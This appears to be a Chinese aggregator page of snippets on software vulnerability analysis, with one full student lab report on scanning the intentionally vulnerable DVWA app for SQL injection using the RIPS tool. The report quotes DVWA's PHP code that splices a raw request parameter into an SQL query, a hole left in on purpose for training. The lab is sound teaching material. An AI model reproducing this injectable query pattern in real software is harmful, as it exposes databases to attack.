  • 栈溢出分析、堆溢出分析、整数溢出、格式化字符串漏洞、双重释放漏洞、释放引用漏洞、数组越界、内核漏洞分析、安卓平台漏洞、其他漏洞。
  • 奇趣漏洞分析软件.rar

    2019-09-29 15:00:44
    奇趣漏洞分析软件,时时统计数据分析,奇趣统计漏洞规律
  • 关于软件漏洞分析技术的一本书,从事网络安全技术的人员可以看一下。
  • 软件漏洞分析入门专题
  • 漏洞战争 软件漏洞分析精要_完整版PDF高清版
  • 《漏洞战争:软件漏洞分析精要》系统地讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法,主要涉及Windows 和Android 系统平台。
  • 《漏洞战争:软件漏洞分析精要》适合计算机相关专业的本科及研究生,研究 windows、 android软件安全,信息安全爱好者,软件安全及移动安全相关的安全从业人员,软件开发与测试人员、黑客等阅读
  • PHP页面漏洞分析的方法 PHP 漏洞大致分为以下几种包含文件漏洞脚本命令执行漏 洞文件泄露漏洞 SQL注入漏洞等几种以下是为大家搜索的 PHP 页面漏洞分析的方法 欢迎大家阅读 ! 更多精彩内容请及时关注我们 ! 首先我们...
  • PHP源代码漏洞分析

    2020-12-31 12:17:23
    实验项目 PHP源代码漏洞分析实验 综合性实验 2020年10月31日 ...软件漏洞分析技术主要分为:软件架构安全分析技术、源代码漏洞分析技术、二进制漏洞分析技术和运行系统漏洞分析技术四大类。...
    实验项目 PHP源代码漏洞分析实验
    综合性实验 2020年10月31日

    一、实验综述

    1.实验目的及要求

    (1)掌握源代码分析的基本原理
    (2)掌握RIPS源代码分析工具的使用
    (3)结合源代码分析原理对DVWA平台的代码进行分析

    2.实验仪器、设备或软件

    Vmware station
    PHPstudy
    DVWA
    Windows7操作系统
    

    3.实验原理

    (1)软件漏洞:
    软件漏洞分析技术主要分为:软件架构安全分析技术、源代码漏洞分析技术、二进制漏洞分析技术和运行系统漏洞分析技术四大类。
    (2)源代码漏洞分析原理:
    源代码漏洞分析主要是对高级语言编写的程序进行分析以发现漏洞。源代码作为软件的最初原型,其中的安全缺陷可能直接导致软件漏洞分产生,因此源代码漏洞分析显得尤为重要。目前源代码漏洞分析主要采用静态分析的方法,由于该方法不受程序的输入和运行环境等因素的影响,所以可能发现动态分析难以发现的软件漏洞。源代码漏洞分析一般包含源代码的模型提取,对历史漏洞、程序代码进行特征提取,静态的漏洞分析和结果分析等四个步骤,通过这四个步骤完成对源代码的漏洞分析。

    二、实验过程(步骤过程、数据记录)

    1.步骤

    (1)查看虚拟机windows7的IP地址,使用DOS命令:ipconfig

    在这里插入图片描述
    (2)在虚拟机中开启phpstudy中的apache和mysql

    在这里插入图片描述

    (3)在主机上访问DVWA客户端:http://192.168.45.128/DVWA-master/login.php

    在这里插入图片描述
    (4)将rips文件夹放入虚拟机以下的路径中: C:\phpstudy_pro\WWW\

    在这里插入图片描述
    (5)主机访问rips: http://192.168.45.128/rips

    在这里插入图片描述

    (6)Rips的相关配置:
    将文件路径(path/file)设置为虚拟机中DVWA-master的存储路径
    代码风格:(Code style)采用默认的ayti
    漏洞类型(Vuln type)选择SQL Injection
    默认勾选:subtirs,表示对所选文件路径下的子目录的相关文件也要进行分析。

    在这里插入图片描述
    (7)点击scan按钮,出现如下界面:

    在这里插入图片描述
    分析:提示有359个文件,是否继续进行分析

    (8)点击continue按钮,显示sql注入漏洞结果:

    在这里插入图片描述
    分析:总共用时4914秒;SQL注入漏洞数量5个;扫描文件359个;

    (9)以SQL注入漏洞的low.php为例进行漏洞分析,进一步分析其他功能

    在这里插入图片描述

    (10)左侧有review code表示可以将源代码显示出来。

    在这里插入图片描述
    对比源文件与现实出来的文件,可以找出两者之间的对应关系。
    自动分析出了哪些地方有SQL注入漏洞。可以和数据流分析等进行对应。

    在这里插入图片描述
    在源代码中第3行、第8行、第9行会现实红色,表示此处有SQL注入漏洞。
    在分析结果的显示中,我们也可以看到对应的是第3行、第8行和第9行。

    9: mysqli_query $result = mysqli_query($GLOBALS['___mysqli_ston'], $query) or die ('<pre>' . (mysqli_error($GLOBALS['___mysqli_ston']) : ($___mysqli_res : false)) . '</pre>'); 
    8: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    5: $id = $_REQUEST['id']; 
    requires:
    3: if(isset($_REQUEST['Submit']))
    

    (11)左侧有 get help,查看sql注入的相关介绍

    在这里插入图片描述
    (12)左侧有generate exploit

    在这里插入图片描述

    生成脚本如下:

    在这里插入图片描述

    2.数据记录

    在这里插入图片描述

    三、结果讨论与分析

    1.实验结果

    通过此次实验,我掌握源代码分析的基本原理,结合源代码分析原理对DVWA平台的SQL注入漏洞进行分析,并成功找到了5个漏洞。

    2.分析讨论

    软件漏洞分析技术多种多样,需要针对软件的来源,漏洞的类型,分析人员的擅长等因素进行选择。在汇报的实验中,由于都是针对某个漏洞类型进行验证,没有涉及到软件架构和系统等概念,故实验中主要利用二进制漏洞分析技术中的静态分析、动态分析和动静结合的分析技术。针对动态分析技术,所使用的软件有:OllyDbg和Windbg,选择Windbg有个特点,即其对于Windows自带原生的软件更加适用;针对静态分析技术,所使用的软件为IDA Pro。

    展开全文
  • 漏洞分析阶段 PTES

    2020-06-28 07:53:38
    漏洞分析阶段。我们的目标是:“找到蛀牙”。漏洞分析是在战略确定后,从战术面确定如何取得目标系统的访问控制权。找出具体可利用漏洞,搜索或自行编写渗透代码,找出可以实施的渗透攻击点,搭建模拟环境加以验证。...
  • 漏洞分析与预测

    热门讨论 2019-09-12 21:14:07
    题目:漏洞分析与预测 具体要求:在cnnvd、cnvd、nvd等漏洞库收集漏洞信息数据,根据漏洞信息对下个月的漏洞信息进行预测。 下个月每周的漏洞数量 下个月的漏洞分布比例(低、中、高、超高) 下个月的漏洞修复比例...
  • Android中zip解压漏洞分析
  • vul_war, 《漏洞战争:软件漏洞分析精要》配套资料
  • 漏洞战争-软件漏洞分析精要(带索引高清珍藏版PDF)
  • 0day安全 软件漏洞分析技术
  • 逻辑漏洞分析

    2020-07-25 09:05:37
    逻辑漏洞分析(包括却不局限) 以下信息总结于网络,其中也包括一些常规漏洞,禁止用于非法用途!!! 通用业务模块 业务逻辑漏洞 登录 暴力破解用户名密码、撞库、验证码爆破和绕过、账户权限绕过、手机号...
  • 漏洞分析与利用

    2019-11-14 21:51:59
    漏洞分析与利用 // 小编学习笔记-《Metaspliot渗透测试魔鬼训练营》- 诸葛建伟 渗透测试对阶段和流程的规范化 A Bug‘s Life 0x00:安全漏洞生命周期 渗透测试中,核心内容是找出目标系统中存在的安全漏洞,实施渗透...
  • 本书系统地讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法,主要涉及Windows和Android系统平台。全书根据不同的软件漏洞类型划分,比如栈溢出、堆溢出、UAF、内核漏洞等,同时又针对当前流行的移动安全...
  • Android系统漏洞分析概述

    千次阅读 2017-01-11 12:47:26
    本文描述了自己Android系统漏洞分析的理解,同时也作为自己学习漏洞分析的大纲,逐步规范漏洞分析的方法和步骤,最终构成自己的漏洞分析体系。 1 概述 漏洞分析是指在代码中迅速定位漏洞产生的位置(简称溯源)...
  • 漏洞战争 软件漏洞分析精要_完整版PDF电子书下载 带索引书签目录高清版
  • CVE-2017-11882漏洞分析

    千次阅读 2019-08-05 19:56:48
    文章目录分析环境漏洞描述漏洞成因漏洞分析获取poc复现漏洞漏洞分析定位漏洞模块定位漏洞函数定位漏洞触发点解决方案 分析环境 **环境:**W7 x64 Office2013 **工具:**windbg IDA Pro 漏洞描述 CVE-2017-11882是...
  • 软件漏洞分析技术 基本信息 作者: 吴世忠 郭涛 董国伟 张普会 出版社:科学出版社 ISBN:9787030418906 上架时间:2014-10-27 出版日期:2014 年11月 开本:16开 页码:520 版次:1-1
  • SMB协议漏洞分析

    2018-03-09 15:33:02
    SMB协议漏洞分析2017年,勒索病毒WannaCry和Petya利用SMB 1.0暴露的漏洞,利用Windows操作系统445端口进行传播。不同SMB版本在Windows出现的顺序: CIFS – Windows NT 4.0 SMB 1.0 – Windows 2000 SMB 2.0 – ...
  • Struts2漏洞之S2-016漏洞分析与exp编写

    万次阅读 2014-12-05 01:14:46
     1、概述 S2-016是13年7月爆出的,那时候的我还没涉及Web安全研究。这次迟到的分析也算是对过去的补充。...2、漏洞分析 分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiion...
  • 软件漏洞分析入门.CHM

    2010-02-22 09:39:22
    软件漏洞分析入门.CHM软件漏洞分析入门.CHM软件漏洞分析入门.CHM

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,972
精华内容 5,588
关键字:

漏洞分析